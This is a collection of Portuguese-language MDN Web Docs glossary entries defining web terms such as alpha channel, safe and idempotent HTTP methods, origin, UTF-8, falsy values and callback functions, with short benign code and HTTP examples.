{"title":"Alpha (canal alfa) - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Alpha (canal alfa)\n==================\n\nCores são representadas no formato digital como uma coleção de números, cada qual sinalizando o nível de força ou intensidade de dado componente da cor. Cada um desses componententes é chamado de **canal**. Num típico arquivo de imagem, o canais de cores descritos devem ser vermelho, verde e azul, que serão usados para definir a cor final. Para representar uma cor que através dela um plano de fundo possa ser visto, um quarto canal é adicionado a ela: o canal alfa. O canal alfa define o nível de opacidade da cor.\n\nPor exemplo, a cor `#8921F2` (também descrita como `rgb(137, 33, 242)` ou `hsl(270, 89%, 54)`) é um belo tom de roxo. Abaixo você pode ver um pequeno retângulo no canto superior esquerdo e outro com a mesma cor, mas tendo um canal alfa defino em 0.5 (50% de opacidade). Os dois retângulos estão desenhados sobre o paragrafo de texto.\n\n![Image showing the effect of an alpha channel on a color.](/pt-BR/docs/Glossary/Alpha/alpha-channel-example.png)\n\nComo você pode notar, a cor sem o canal alfa bloqueia completamente o texto ao fundo, enquanto o retângulo com canal alfa definido permite visibilidade através do plano de fundo com cor roxa.\n\nSaiba mais\n----------\n\n### Conhecimento geral\n\n* Alpha compositing na Wikipedia\n* RGBA color model na Wikipedia\n* Channel (digital image) na Wikipedia\n### Referência técnica\n\n* CSS color (en-US)"}
{"title":"Elementos inline - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Elementos inline\n================\n\n### Sumário\n\n\"Inline\" é uma categorização dos elementos do HTML, em contraste com os \"elementos de bloco\" (en-US). Os elementos inline podem ser exibidos em nível de bloco ou outros elementos inline. Eles ocupam somente a largura de seu conteúdo. A diferença entre elementos inline e bloco incluem:\n\nModelo de conteúdo\n\nGeralmente, elementos inline devem ter somente dados em outros elementos inline.\n\nFormato\n\nPor padrão, os elementos inline não começam em uma nova linha.\n\n### Elementos\n\nListagem dos elementos que são \"inline\":\n\n* b, big, i, small, tt\n* abbr, acronym, cite, code, dfn, em, kbd, strong, samp, var\n* a, bdo, br, img, map, object, q, script, span, sub, sup\n* button, input, label, select, textarea\n### Ver também\n\n* Elementos de nível de bloco"}
{"title":"Pseudo-element - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Pseudo-element\n==============\n\nEm CSS, um seletor **pseudo-element** aplica estilos em partes do conteúdo do seu documento em cenários onde não há elementos HTML específicos para selecionar. Por exemplo, em vez de colocar a primeira letra para cada parágrafo em seu próprio elemento. você pode estilizá-los todos com `p``::first-letter`.\n\nAprenda mais\n------------\n\n### Referência técnica\n\n* Pseudo-elements"}
{"title":"Sloppy mode - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Sloppy mode\n===========\n\nA partir do ECMAScript (en-US) 5 é possível optar pelo novo strict mode (modo estrito), que altera a semântica do JavaScript de várias maneiras para melhorar sua resiliência e facilitar a compreensão do que está acontecendo quando há problemas.\n\nO modo normal e non-strict (não estrito) do JavaScript é às vezes chamado de **sloppy mode** (modo desleixado, literalmente). Esta não é uma designação oficial, mas você provavelmente irá se deparar com ela se passar algum tempo escrevendo código JavaScript.\n\nSaiba mais\n----------\n\n### Conecimentos Gerais\n\n* \"Strict Mode\" no capítulo 7 (\"JavaScript Syntax\") do livro Speaking *JavaScript*."}
{"title":"Seguro - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Seguro\n======\n\nUm método HTTP é **seguro** se ele não altera o estado do servidor. Em outras palavras, um método é seguro se ele leva a uma operação de somente leitura. Diversos métodos de HTTP são seguros: `GET`, `HEAD`, ou `OPTIONS`. Todos os métodos seguros também são idempotentes, mas nem todos os métodos idempotentes são seguros. Por exemplo, `PUT` e `DELETE` são ambos idempotentes, entretanto são inseguros.\n\nMesmo se métodos seguros possuem a semântica de somente leitura, servidores podem alterar o seu estado (e.g., eles podem manter *log* ou estatísticas). O que é importante aqui, é de que chamando um método seguro, o cliente não requer que o servidor mude seu estado, e portanto não gerará carga desnecessária ao servidor. Navegadores podem chamar métodos seguros sem medo de causarem nenhum dano ao servidor: isso permite a eles a possibilidade de fazer atividades como pré-carregamento sem nenhum risco. *Web crawlers* também usam métodos seguros.\n\nMétodos seguros não servem somente para buscar arquivos estáticos, o servidor pode gerar uma resposta para um método seguro no voô, enquanto o *script* gerador garantir segurança: ele não deve ativar gatilhos externos, como ativar um pedido de compras em um site.\n\nÉ responsabilidade da aplicação no servidor implementar a semântica segura corretamente, o servidor *web* em si, sendo Apache, nginx ou IIS, não pode forçar ela por si só. Em particular, a aplicação não deve permitir que requisições `GET` alterem seu estado.\n\nUma chamada a um método seguro, não alterando o estado do servidor:\n```\n\nGET /pageX.html HTTP/1.1\n```\n\n\nUma chamada a um método não seguro, que pode alterar o estado do servidor:\n```\n\nPOST /pageX.html HTTP/1.1\n```\n\n\nUma chamada a um método idempotente, mas não seguro:\n```\n\nDELETE /idX/delete HTTP/1.1\n```\n\nAprenda mais\n------------\n\n### Conhecimento geral\n\n* Definição de seguro na especificação HTTP.\n### Conhecimento técnico\n\n* Descrição de métodos seguros comuns: `GET`, `HEAD`, `OPTIONS`\n* Descrição de métodos inseguros comuns: `PUT`, `DELETE`, `POST`"}
{"title":"JSON - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"JSON\n====\n\n*JavaScript Object Notation* (**JSON**) é um formato de intercâmbio de dados. Embora não seja um subconjunto estrito, JSON se assemelha a um subconjunto da sintaxe JavaScript. Embora muitas linguagens de programação suportem JSON, é especialmente útil para aplicativos baseados em JavaScript, incluindo sites e extensões de navegador.\n\nJSON pode representar números, booleanos, strings, `null`, arrays (sequências ordenadas de valores) e objetos (mapeamentos de valores de strings) compostos por esses valores (ou de outros arrays e objetos). O JSON não representa nativamente tipos de dados mais complexos, como funções, expressões regulares, datas e assim por diante. (Os objetos de data, por padrão, serializam para uma string contendo a data no formato ISO, para que as informações não sejam completamente perdidas.) Se você precisar de JSON para representar tipos de dados adicionais, transforme os valores à medida que são serializados ou antes de serem desserializados.\n\nVeja também\n-----------\n\n* JSON na Wikipedia\n* JSON no MDN"}
{"title":"IRC - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"IRC\n===\n\nO **IRC** (*Internet Relay Chat*) é um sistema de chat mundial que requer uma conexão à Internet e um cliente de IRC, que envia e recebe mensagens através do servidor de IRC.\n\nProjetado no final dos anos 80 por Jarrko Oikarinen, o IRC usa TCP e é um protocolo aberto. O servidor de IRC transmite mensagens para todos os usuários conectados a um dos muitos canais de IRC (cada um com seu próprio ID).\n\n### Aprenda mais\n\n* Começando com o IRC\n* Usando o IRC no Mozilla"}
{"title":"Array - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Array\n=====\n\nUm *array (arranjo ou vetor)* é um conjunto de dados (que pode assumir os mais diversos tipos, desde do tipo primitivo, a objeto dependendo da linguagem de programação). Arrays são utilizados para armazenar mais de um valor em uma única variável. Isso é comparável a uma variável que pode armazenar apenas um valor.\n\nCada item do array tem um número ligado a ele, chamado de índice numérico, que permite acesso a cada \"valor\" armazenado na váriavel.\n\nEm JavaScript, um `array` começa no índice zero e pode ser manipulado a partir de vários métodos (en-US).\n\nUm exemplo simples de Array em Javascript:\n```\n\nvar myArray = [1, 2, 3, 4];\n\nvar catNamesArray = [\"Jacqueline\", \"Sophia\", \"Autumn\"];\n\n//Um array em JavaScript pode conter vários tipos de dados, como mostrado acima.\n```\n\nSaiba mais\n----------\n\n### Conhecimentos Gerais\n\n* Array no Wikipedia\n### Referência técnica\n\n* `Array` Javascript no MDN"}
{"title":"Nulo - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Nulo\n====\n\nEm ciência da computação, um valor nulo representa uma referencia que aponta, geralmente de maneira intencional, para um objeto ou endereço de memória inválido ou inexistente. O significado do valor nulo varia entre as implementações das linguagens.\n\nEm JavaScript, o null é um dos tipos primitivos.\n\nVeja mais\n---------\n\n### Referência técnica\n\n* `Null na linguagem JavaScript`\n### Referências externas\n\n* Null - Programação"}
{"title":"Class - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Class\n=====\n\nEm programação orientada a objeto, uma classe define as características de um objecto. A classe é uma definição de modelo de propriedades e metódos (en-US) de um objeto, o \"projeto\" a partir do qual outras instâncias mais específicas do objeto são desenhados.\n\nAprenda mais\n------------\n\n### Conhecimentos gerais\n\n* Class-based vs. prototype-based programming languages (como JavaScript)\n* Using functions as classes in JavaScript (en-US)\n* Class-based programming na Wikipedia\n* Object-oriented programming na Wikipedia"}
{"title":"Forbidden response header name - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Forbidden response header name\n==============================\n\nUm *nome de cabeçalho de resposta proibido* é um nome de cabeçalho HTTP (ou `Set-Cookie` ou `Set-Cookie2`) que não pode ser modificado programaticamente."}
{"title":"WebRTC - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"WebRTC\n======\n\n**WebRTC** (*Web Real-Time Communication*) é uma API que pode ser usado por chat de vídeo, chamadas de voz e aplicativos da Web de compartilhamento de arquivos P2P.\n\nO WebRTC consiste principalmente destas partes:\n\n`getUserMedia()` (en-US)\n\nConcede acesso à câmera e/ou microfone de um dispositivo e pode conectar seus sinais a uma conexão RTC.\n\n`RTCPeerConnection` (en-US)\n\nUma interface para configurar chat de vídeo ou chamadas de voz.\n\n`RTCDataChannel`\n\nFornece um método para configurar um caminho de dados peer-to-peer (en-US) entre navegadores.\n\nVeja também\n-----------\n\n* WebRTC na Wikipedia\n* WebRTC API na MDN\n* Suporte do navegador para WebRTC"}
{"title":"CRUD - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"CRUD\n====\n\n**CRUD** (Create, Read, Update, Delete) é um acrônimo para as maneiras de se operar em informação armazenada. É um mnemônico para as quatro operações básicas de armazenamento persistente. CRUD tipicamente refere-se a operações perfomadas em um banco de dados ou base de dados, mas também pode aplicar-se para funções de alto nível de uma aplicação, como exclusões reversíveis, onde a informação não é realmente deletada, mas é marcada como deletada via status.\n\nSaiba mais\n----------\n\n### Conhecimento geral\n\n* CRUD on Wikipedia"}
{"title":"W3C - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"W3C\n===\n\nO Consórcio da Rede Mundial (tradução livre de *World Wide Web Consortium*), ou simplesmente W3C é uma sociedade internacional que mantém as regras e frameworks relacionadas à Web (en-US)\n\nConsiste de mais de 350 membros e organizações que, conjuntamente, desenvolvem a padronização da Internet, coordenam programas de divulgação, e mantém um fórum aberto para falar de Internet. O W3C coordena empresas na indústria para certificar que elas implementam os mesmos padrões da W3C.\n\nCada padrão passa por quatro estágios de maturidade: Rascunho em Desenvolvimento (WD - Working Draft), Candidato a Recomendação (CR - Candidate Recommendation), Recomendação Proposta (PR - Proposed Recommendation), e Recomendação da W3C (REC - Recommended by the W3C).\n\nSaiba mais\n----------\n\n### Conhecimentos Gerais\n\n* Site Oficial da W3C\n* W3C na Wikipedia"}
{"title":"Falsy - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Falsy\n=====\n\nUm valor **falsy** é um valor que se traduz em falso quando avaliado em um contexto Boolean.\n\nJavaScript usa tipo coercion em contextos booleanos.\n\nExemplos de valores *falsy* em JavaScript (que se traduzirá em false e assim *ignorar* o bloco `if`):\n\n\n```js\nif (false) {\n  // Not reachable\n}\n\nif (null) {\n  // Not reachable\n}\n\nif (undefined) {\n  // Not reachable\n}\n\nif (0) {\n  // Not reachable\n}\n\nif (-0) {\n  // Not reachable\n}\n\nif (0n) {\n  // Not reachable\n}\n\nif (NaN) {\n  // Not reachable\n}\n\nif (\"\") {\n  // Not reachable\n}\nif (document.all) {\n  // [1], not reachable\n}\n```\n\n\n[1] `document.all` tem sido utilizado para a detecção do navegador no passado e a especificação HTML define uma violação intencional do padrão ECMAScript aqui para manter a compatibilidade com código legado (`if (document.all) { // Internet Explorer code here }` ou usando `document.all` sem verificar sua presença em primeiro lugar: `document.all.foo`).\n\nAprender mais\n-------------\n\n* Truthy\n* Coercion\n* Boolean"}
{"title":"SGML - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"SGML\n====\n\nO *Standard Generalized Markup Language* (**SGML**) é uma ISO especificação que veio para definir as declarações/sintaxe Linguagens de Marcação.\n\nOn the web, HTML 4, XHTML, and XML are popular SGML-based languages. It is worth noting that since its fifth edition, HTML is no longer SGML-based and has its own parsing rules.\n\nLeia mais\n---------\n\n* SGML no Wikipedia\n* Introducão ao SGML"}
{"title":"Endereço IP - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Endereço IP\n===========\n\nUm endereço IP é um número atribuído a cada dispositivo conectado a uma rede que usa o protocolo de Internet.\n\n\"Endereço IP\" geralmente refere-se a endereços IPv4 de 32 bits até que o IPv6 seja implantado de forma mais ampla.\n\nSaiba mais\n----------\n\n### General knowledge\n\n* Endereço IP na Wikipedia"}
{"title":"Flex - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Flex\n====\n\n`flex` é um novo valor adicionado à propriedade `display`. Junto com o `inline-flex`, este valor faz com que o elemento aplicado seja um flex container (en-US), e seus filhos se transformem então em flex item (en-US).Os itens então farão parte de um layout flex, e todas as propriedades definidas no CSS Flexbox poderão ser aplicadas.\n\nA propriedade flex é um atalho para as propriedades flexbox`flex-grow`, `flex-shrink` e `flex-basis`.\n\nAlém disso, `<flex>` pode ser também uma unidade flexível (en-US) em um CSS Grid Layout.\n\nVeja mais\n---------\n\n### Referências\n\n* `align-content`\n* `align-items`\n* `align-self`\n* `flex`\n* `flex-basis` (en-US)\n* `flex-direction`\n* `flex-flow`\n* `flex-grow` (en-US)\n* `flex-shrink` (en-US)\n* `flex-wrap`\n* `justify-content` (en-US)\n* `order` (en-US)\n### Leitura complementar\n\n* *CSS Flexible Box Layout Module Level 1 Specification*\n* CSS Flexbox Guide: *Basic Concepts of Flexbox*\n* CSS Flexbox Guide: *Relationship of flexbox to other layout methods (en-US)*\n* CSS Flexbox Guide: *Aligning items in a flex container*\n* CSS Flexbox Guide: *Ordering flex items (en-US)*\n* CSS Flexbox Guide: *Controlling Ratios of flex items along the main axis (en-US)*\n* CSS Flexbox Guide: *Mastering wrapping of flex items (en-US)*\n* CSS Flexbox Guide: *Typical use cases of flexbox (en-US)*"}
{"title":"IPv4 - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"IPv4\n====\n\nIPv4 é a quarta versão do protocolo de comunicação subjacente à Internet e a primeira versão a ser amplamente implantada.\n\nFormalizada primeiramente em 1981, o IPv4 traça suas raízes para o trabalho de desenvolvimento inicial do ARPAnet. IPv4 é um protocolo sem conexão para ser usado na comutação de dados em redes da camada de enlace de dados (ethernet). IPv6 está gradualmente substituindo o IPv4 devido a problemas de segurança que o IPv4 possui e as limitações de seus campos de endereços. (Versão número 5 foi atribuído em 1979 para o experimental *Internet Stream Protocol*, que no entanto, nunca foi chamado de IPv5).\n\nSaiba mais\n----------\n\n### Conhecimento Geral\n\nIPv4 na Wikipedia"}
{"title":"Assíncrono - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Assíncrono\n==========\n\n**Assíncrono** refere-se a um ambiente de comunicação onde cada parte recebe e processa mensagens quando for conveniente ou possível em vez de imediatamente.\n\nIsto pode ser usado para descrever um ambiente de comunicação humana como o e-mail — o remetente enviará um e-mail, e o destinatário irá responder quando for conveniente; eles não precisam responder imediatamente.\n\nTambém pode ser usado para descrever um ambiente de comunicação programática, por exemplo, `Ajax`é um mecanismo assíncrono para solicitar pequenos bits de dados por HTTP; o resultado é enviado de volta quando a resposta está completa, não imediatamente.\n\nSaiba mais\n----------\n\n### Referência técnica\n\n* Fetching data from the server (Learning Area)\n* Sincrono"}
{"title":"Protocolo - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Protocolo\n=========\n\nUm **protocolo** é um sistema de regras que define como o dado é trafegado dentro ou entre computadores. Comunicações entre dispositivos requer que estes concordem com o formato do dado que estiver sendo trafegado. O conjunto de regras que define esse formato é chamado de protocolo.\n\nSaiba mais\n----------\n\n### Conhecimento Geral\n\n* Protocolo na Wikipedia\n* RFC Official Internet Protocol Standards"}
{"title":"ASCII - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"ASCII\n=====\n\nASCII (Código Padrão Americano para o Intercâmbio de Informação) é um dos mais populares métodos de codificação usado por computadores para converter letras, números, pontuações e códigos de controle dentro do formato digital. Desde 2007, UTF-8 substituiu-o na web.\n\nAprenda mais\n------------\n\n### Conhecimento geral\n\nASCII no Wikipedia"}
{"title":"UTF-8 - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"UTF-8\n=====\n\nUTF-8 (UCS Transformation Format 8) é a codificação de caracteres mais comum da World Wide Web. Cada caractere é representado por um a quatro bytes. UTF-8 é compatível com versões anteriores do ASCII e pode representar qualquer caractere Unicode padrão.\n\nOs primeiros 128 caracteres UTF-8 correspondem exatamente aos primeiros 128 caracteres ASCII (numerados de 0 a 127), o que significa que o texto ASCII existente já é UTF-8 válido. Todos os outros caracteres usam dois a quatro bytes. Cada byte tem alguns bits reservados para fins de codificação. Como caracteres não ASCII requerem mais de um byte para armazenamento, eles correm o risco de serem corrompidos se os bytes forem separados e não forem recombinados.\n\nLeia mais\n---------\n\n### Conhecimento Geral\n\n* UTF-8 no Wikipedia\n* Perguntas frequentes sobre o UTF-8 no site Unicode"}
{"title":"Jank - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Jank\n====\n\n**Jank** se refere à lentidão em uma interface de usuário, geralmente causado por execução de tarefas longas na Thread principal, o bloqueio de renderização, ou esforço demais do processador com processos em segundo plano."}
{"title":"Application Context - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Application Context\n===================\n\nUm **application context** de nível superior é um contexto de navegação (en-US) que tem um manifest\n\nSe um *application context* for criado como resultado da solicitação do user agent para navegar para um link direto, o user agent deverá navegar imediatamente para o link direto com a substituição habilitada. Caso contrário, quando o contexto do aplicativo for criado, o user agent deverá navegar imediatamente para a URL inicial com a substituição ativada.\n\nObserve que o URL inicial não é necessariamente o valor do membro start\\_url: o usuário ou user agent pode tê-lo alterado quando o aplicativo foi adicionado à tela inicial ou marcado de outra forma."}
{"title":"Stacking context - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Stacking context\n================\n\n**Stacking context** refere-se refere a como elementos de uma página se empilham sobre outros elementos, assim como você pode organizar cards em cima de sua mesa, lado a lado ou sobrepostas.\n\nLeia mais\n---------\n\n### General knowledge\n\n* Further explanation and example (en-US)"}
{"title":"ATAG - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"ATAG\n====\n\nATAG (Authoring Tool Accessibility Guidelines) é uma recomendação do W3C para construir ferramentas de autoria acessíveis que produzem conteúdo acessível.\n\nVeja também\n-----------\n\n* ATAG como parte da Iniciativa de Acessibilidade da Web na WikiPedia\n* Visão geral das Diretrizes de acessibilidade da ferramenta de autoria (ATAG)\n* A recomendação do ATAG 2.0"}
{"title":"XSLT - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"XSLT\n====\n\n*eXtensible Stylesheet Language Transformations* (**XSLT**) é uma linguagem declarativa usada para converter documentos XML em outros documentos XML, HTML, PDF (en-US), texto simples e assim por diante.\n\nO XSLT possui seu próprio processador que aceita entrada XML ou qualquer formato conversível para um modelo de dados XQuery e XPath. O processador XSLT produz um novo documento baseado no documento XML e em uma folha de estilo XSLT, não fazendo alterações nos arquivos originais no processo.\n\nVeja também\n-----------\n\n* XSLT on Wikipedia\n* XSLT documentation on MDN (en-US)"}
{"title":"XML - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"XML\n===\n\neXtensible Markup Language (XML) é uma linguagem de marcação genérica especificada pela W3C. A indústria de tecnologia da informação (TI) utiliza várias linguagens baseadas em XML para descrição de dados.\n\nTags XML são muito semelhantes a tags HTML, mas XML é muito mais flexível porque permite os usuários definirem suas próprias tags. Dessa forma o XML atua como uma meta-linguagem — isto é, pode ser usada para definir outras linguagens, como RSS (en-US). Além disso, HTML é uma linguagem para apresentação, enquanto XML é uma linguagem para descrever dados. Isto significa que XML tem aplicações muito mais amplas do que apenas a Web. Por exemplo, Web services podem usar XML para trocar requisições e respostas.\n\nSaiba mais\n----------\n\n* Introdução a XML (en-US)"}
{"title":"CMS - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"CMS\n===\n\nO CMS da sigla em inglês( Content Management System) ou seja, Sistema de Gerenciamento de Conteúdo, é um software que permite usuários publicar, organizar, mudar ou remover vários tipos de conteúdo, não apenas textos mas também incorporação de imagens, vídeos , aúdios e códigos interativos\n\nSaiba mais\n----------\n\n### Conhecimento Geral\n\n* Sistema de gerenciamento de conteudo no Wikipedia"}
{"title":"Variável - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Variável\n========\n\nUma **variável (variable)** é um local nomeado para armazenar um valor. Dessa forma, um valor pode ser acessado através de um nome predeterminado.\n\nLeia mais\n---------\n\n### Conhecimento geral\n\n* Variável (programação) na Wikipédia\n### Referências técnicas\n\n* Declarando Variáveis no JavaScript\n* **`var`** **statement** no JavaScript"}
{"title":"Origem - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Origem\n======\n\nO conteúdo de **origem** é definido pelo *esquema* (protocolo), *host* (domínio), e *porta* da URL usada para acessá-lo. Dois objetos tem a mesma origem somente quando o esquema, host, e porta batem.\n\nAlgumas operações são restritas para conteúdos de mesma origem, e essa restrição pode ser ultrapassada usando CORS.\n\nExemplos de mesma origem\n------------------------\n\n| `http://example.com/app1/index.html` `http://example.com/app2/index.html` | Mesma origem pois possuem o mesmo esquema (`http`) e mesmo host (`example.com`) |\n| --- | --- |\n| `http://Example.com:80` `http://example.com` | Mesma origem pois o servidor entrega conteúdo HTTP através da porta 80 por padrão. |\n\nExemplos de origens diferentes\n------------------------------\n\n| `http://example.com/app1` `https://example.com/app2` | Esquemas diferentes |\n| --- | --- |\n| `http://example.com` `http://www.example.com` `http://myapp.example.com` | Hosts diferentes |\n| `http://example.com` `http://example.com:8080` | Portas diferentes |\n\nAprenda mais\n------------\n\nVeja Same-origin policy (en-US) para mais informações."}
{"title":"ISO - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"ISO\n===\n\nA **Organização Internacional de Padronização,** popularmente conhecida como **ISO** (em inglês: International Organization for Standardization), é uma organização internacional que cria padrões/normas para cada tipo de indústria, visando uma melhor coordenação e união internacional. Atualmente 164 países fazem parte da ISO.\n\nVeja mais\n---------\n\n* Site oficial"}
{"title":"ARPA - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"ARPA\n====\n\n**.arpa** (address and routing parameter area) é um top-level domain (en-US) usado para fins de infraestrutura da Internet, especialmente pesquisa de DNS reverso (ou seja, localiza o domain name para um determinado IP address).\n\nSee also\n--------\n\n* Website oficial\n* .arpa Na Wikipedia"}
{"title":"HTTP/2 - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"HTTP/2\n======\n\n**HTTP/2** é a principal revisão do protocolo de rede HTTP. Os princiais objetivos do HTTP/2 são reduzir a latência, permitindo a multiplexação total das requisições e respostas, minimizar a sobrecarga do protocolo por meio da compactação eficiente dos campos do cabeçalho HTTP e adicionar suporte para priorização de requisições e notificações dos servidores.\n\nHTTP/2 não modifica a semântica de aplicativo do HTTP de nenhuma maneira. Todos os principais conceitos encontrados no HTTP 1.1, como métodos HTTP, códigos de status, URIs e campos de cabeçalho, permanecem no lugar. Em vez disso, o HTTP/2 modifica como os dados são formatados (enquadrados) e transportados entre o cliente e o servidor, sendo que ambos gerenciam todo o processo e ocultam a complexidade do aplicativo na nova camada de enquadramento. Como resultado, todas as aplicações existentes podem ser entregues sem modificação.\n\nVeja também\n-----------\n\n* HTTP on MDN\n* HTTP/2 na Wikipedia"}
{"title":"Ruby - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Ruby\n====\n\n*Ruby* é uma linguagem de programação de código aberto. Em um contexto Web (en-US), Ruby é geralmente usado em servidores com o framework *Ruby On Rails* (ROR) para produzir websites/apps.\n\nAprenda Mais\n------------\n\n### Conhecimento geral\n\n* Ruby on Wikipedia\n### Referência técnica\n\n* Site oficial do Ruby\n* Site oficial do Ruby On Rails"}
{"title":"Idempotente - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Idempotente\n===========\n\nUm método HTTP é **idempotente** se uma requisição idêntica pode ser feita uma ou mais vezes em sequência com o mesmo efeito enquanto deixa o servidor no mesmo estado. Em outras palavras, um método idempotente não deveria possuir nenhum efeito colateral (exceto para manter estatísticas). Implementados corretamente, o `GET`, `HEAD`, `PUT`, e `DELETE` são métodos **idempotentes**, mas não o método `POST`. Todos os métodos seguros também são idempotentes.\n\nPara ser idempotente, somente o estado atual do *back-end* de um servidor deve ser considerado, o código de status retornado por cada requisição pode variar: a primeira chamada de um `DELETE` vai provavelmente retornar um `200`, enquanto as chamadas sucessivas vão provavelmente retornar `404`. Outra implicação do `DELETE` ser idempotente é de que os desenvolvedores não deveriam implementar APIs RESTful com a funcionalidade de deleção de última entrada usando o método `DELETE`.\n\nNote que a idempotência de um método não é garantida pelo servidor, algumas aplicações também podem quebrar a constante de idempotência.\n\n`GET /pageX HTTP/1.1` é idempotente. Chamado diversas vezes em sequência, ele vai retornar o mesmo resultado:\n```\n\nGET /pageX HTTP/1.1\nGET /pageX HTTP/1.1\nGET /pageX HTTP/1.1\nGET /pageX HTTP/1.1\n```\n\n\n`POST /add_row HTTP/1.1` não é idempotente. Se ele for chamado diversas vezes, ele adicionará novas entradas:\n```\n\nPOST /add_row HTTP/1.1\nPOST /add_row HTTP/1.1   -> Adiciona a 2ª linha\nPOST /add_row HTTP/1.1   -> Adiciona a 3ª linha\n```\n\n\n`DELETE /idX/delete HTTP/1.1` é idempotente, mesmo que o código de status mude entre requisições:\n```\n\nDELETE /idX/delete HTTP/1.1   -> Retorna 200 se idX existe\nDELETE /idX/delete HTTP/1.1   -> Retorna 404 como ele acabou de ser deletado\nDELETE /idX/delete HTTP/1.1   -> Retorna 404\n```\n\nAprenda mais\n------------\n\n### Conhecimento geral\n\n* Definição de idempotente na especificação HTTP.\n### Conhecimento técnico\n\n* Descrição de métodos idempotentes comuns: `GET`, `HEAD`, `PUT`, `DELETE`, `OPTIONS`, `TRACE`\n* Descrição de métodos não-idempotentes comuns: `POST`,`PATCH`, `CONNECT`"}
{"title":"String - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"String\n======\n\nEm qualquer linguagem de programação, uma string é uma sequência de caracteres usados para representar texto\n\nEm JavaScript, uma String é um dos valores primitivos e o objeto `String` é um wrapper em cima do tipo primitivo string.\n\nLeia mais\n---------\n\n### Conhecimento Geral\n\n* String (computer science) (em inglês) na Wikipedia\n* Estruturas e tipos de dados em JavaScript"}
{"title":"Cabeçalho de entidade - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Cabeçalho de entidade\n=====================\n\nUm cabeçalho de entidade é um HTTP header (en-US) descrevendo o conteúdo do corpo da mensagem. Cabeçalhos da entidade são usados em ambos, respostas e requerimentos HTTP. Cabeçalhos como `Content-Length`, `Content-Language`, `Content-Encoding` são cabeçalhos de entidade.\n\nMesmo se cabeçalhos de entidade não sejam requerimentos ou cabeçalhos de resposta, eles são muitas vezes incluídos nestes termos.\n\nNo exemplo a seguir, `Content-Length` é um cabeçalho de entidade, enquanto `Host` e `User-Agent` são request headers:\n```\n\nPOST /myform.html HTTP/1.1\nHost: developer.mozilla.org\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0\nContent-Length: 128\n```\n\nAprenda mais\n------------\n\n### Conhecimento técnico\n\n* List of all HTTP headers"}
{"title":"Função Callback - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Função Callback\n===============\n\nUma função callback é uma função passada a outra função como argumento, que é então invocado dentro da função externa para completar algum tipo de rotina ou ação.\n\nAqui está um pequeno exemplo:\n\n\n```js\nfunction greeting(name) {\n  alert(\"Olá \" + name);\n}\n\nfunction processUserInput(callback) {\n  var name = prompt(\"Por favor insira seu nome.\");\n  callback(name);\n}\n\nprocessUserInput(greeting);\n```\n\n\nO exemplo acima é de uma synchronous callback, uma vez que é executada imediatamente.\n\nNote, no entanto, que callbacks são normalmente utilizados para continuar a execução do código após uma operação asynchronous ser terminada — essas são chamadas asynchronous callbacks. Um bom exemplo são as funções callback executadas dentro de um bloco `.then()` encadeado ao final de uma promessa após essa promessa ser cumprida ou rejeitada. Essa estrutura é usada em muitas APIs da web modernas, como a `fetch()`.\n\nAprenda mais\n------------\n\n### Conhecimento geral\n\n* Callback no Wikipedia"}
{"title":"OTA - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"OTA\n===\n\n*Over-The-Air* (**OTA** ou \"Pelo-Ar\") refere-se à atualização automática de programas de dispositivos conectados a partir de um servidor central. Todos os proprietários de dispositivos recebendo um determinado conjunto de atualizações estão sob o mesmo \"canal\"; e cada dispositivo pode amiúde acessar vários canais (e.g. para \"builds\" de produção ou engenharia).\n\nAprenda mais\n------------\n\n### Conhecimentos Gerais\n\n* Over-the-air na Wikipedia\n* Criando e aplicando pacotes de atualização para o Firefox OS"}
